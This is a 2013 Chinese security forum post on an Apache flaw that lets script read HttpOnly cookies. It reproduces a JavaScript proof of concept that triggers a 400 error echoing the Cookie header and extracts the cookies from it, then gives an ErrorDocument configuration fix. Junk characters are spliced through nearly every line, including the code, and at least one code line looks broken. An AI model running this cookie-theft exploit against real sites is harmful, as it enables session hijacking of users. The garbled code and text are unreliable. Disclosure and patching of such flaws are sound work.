找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2768|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
. V+ J8 `+ Q9 ?% A) e
2 o  q% w( F0 [: x2 z+ e$ L0 _用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
7 S- Y! I7 Z3 o# n; l 2 w7 M4 L: P4 L* z
7 a  V' n9 V- i( K
// http://www.exploit-db.com/exploits/18442/
# B8 \, a9 u0 ^) |# K. n, b; r0 H, yfunction setCookies (good) {
& c, ~4 b7 x$ ]3 \$ H// Construct string for cookie value* b* U1 G/ B! k0 P; h& u
var str = "";
) G7 B; N, Q! y# Sfor (var i=0; i< 819; i++) {
* R! N* R. {% M( Vstr += "x";% {+ q7 Z  B  D8 D
}4 Q* k8 ~) U4 B* t
// Set cookies! f5 T( b0 \" }/ K: m
for (i = 0; i < 10; i++) {1 z' s" a. q& \; `. W* e. _. w0 t
// Expire evil cookie
8 E, W4 i" r: U" @8 f( ]& rif (good) {  r3 ]6 v% s' K' F
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";" m9 V1 |; h7 H2 Y% f% x/ L
}6 U: @1 a9 o- `/ x0 f8 x* Y
// Set evil cookie
1 a& C9 i: l4 D  h% K! {9 c' felse {
7 y8 q; O# |8 ^, ]& V  v- n8 _# kvar cookie = "xss"+i+"="+str+";path=/";
; `; R& I+ Q7 G) H9 `, |}; j9 n/ [; x" a/ |
document.cookie = cookie;
. ]. |* Z! L" H0 f" \7 _}
9 u/ Z& X4 o/ c$ R& @8 C5 S}
4 i; Z7 e9 c* j/ q* }3 K& d+ l6 lfunction makeRequest() {% x6 v+ p' S7 ?. K
setCookies();) J9 L: w( b( F
function parseCookies () {7 V! V  h" e  g: ]$ t
var cookie_dict = {};- W, t4 g  _, n0 F/ @  W0 U
// Only react on 400 status, c5 a3 u9 y1 {
if (xhr.readyState === 4 && xhr.status === 400) {
4 g3 \! F/ N0 ^* C; D; Y// Replace newlines and match <pre> content
% Y6 l' d& y) G/ B6 `# j# @# [var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);& v+ ~! l/ Y3 z: M
if (content.length) {
4 B) @8 W/ O/ \. V// Remove Cookie: prefix8 G5 X' N: Z) o7 e, j* G) z
content = content[1].replace("Cookie: ", "");# s$ |- ?+ n' o/ e! U( c
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
" s$ j5 }, W) K3 J// Add cookies to object+ ?  U: o' y, o
for (var i=0; i<cookies.length; i++) {- @5 N- G, D+ g1 |. I+ o
var s_c = cookies.split('=',2);4 v5 E* [( _1 [9 j  _$ O# C0 F
cookie_dict[s_c[0]] = s_c[1];
* m" ?$ k3 j, }* X/ }; t+ W}) o0 i# \& H- O7 d! K; n5 J
}
! S& y5 o% j! f' K7 E, A* m  {// Unset malicious cookies
" \$ i) \+ L" }* fsetCookies(true);
8 C2 g* _; s: m. y! V2 Oalert(JSON.stringify(cookie_dict));
$ R5 c3 ], ]! |; ~2 B2 b: z}6 y- }6 K( m# m; b4 c" B  K5 J
}7 v3 P/ _' @% N6 }
// Make XHR request
. V" Y9 ^. h2 X7 E5 evar xhr = new XMLHttpRequest();" O1 ?7 m2 D9 r' M. K$ \, X
xhr.onreadystatechange = parseCookies;# o* Y) A9 d+ C7 r
xhr.open("GET", "/", true);9 {8 U  b2 M6 n0 \
xhr.send(null);8 o+ B8 B2 ~2 N* P" R# V& `0 @3 K
}0 e$ B) @9 b$ I8 X
makeRequest();% y% h( H- \5 B$ D

& v7 V7 U+ {  J! T2 s你就能看见华丽丽的400错误包含着cookie信息。
* Z" C$ Y& f. O0 I0 D" t+ q  t  z$ h9 I; u# ^6 A" O: {% t
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download## i/ W. d# |0 d" f
9 k) c: w& o9 t8 B$ c
修复方案:. ]* i! Y$ F, s( W" @# y  \

( ^& _2 O0 x' `( T4 eApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
+ D1 W+ \% A* g+ O" f: O: B! H+ Q. v( S6 ^4 j
In the event of a problem or error, Apachecan be configured to do one of four things,/ }" u/ U! c+ m  t8 d
8 V- j& Y( ~+ l8 x& h
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息; S$ N2 E, D5 O, w9 ?( I, M! g
2. output acustomized message输出一段信息
' a, z- J7 J1 e" ~2 f3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 / f& _- c0 c9 n3 B- \# m5 r! n- O
4. redirect to an external URL to handle theproblem/error转向一个外部URL
/ ?9 C9 o# r7 m1 c3 N1 i/ J" o+ O- k+ a- {# P9 P
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
$ @4 z, ]' w7 h9 w2 I+ P2 _; }% F3 E& Q8 }. w% ?) E$ z8 S
Apache配置:7 C( c( b6 G# D; r9 f2 l& W# y

+ V! [( ~. `0 e/ wErrorDocument400 " security test"
% z  a  |3 U  K& a# v" K# w+ l
当然,升级apache到最新也可:)。: p$ t, W& @& Y! Z% r3 V

% I, u$ }3 x, x参考:http://httpd.apache.org/security/vulnerabilities_22.html! y) W- j) Z( x
$ [9 i+ {$ h1 j- ?6 D0 Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表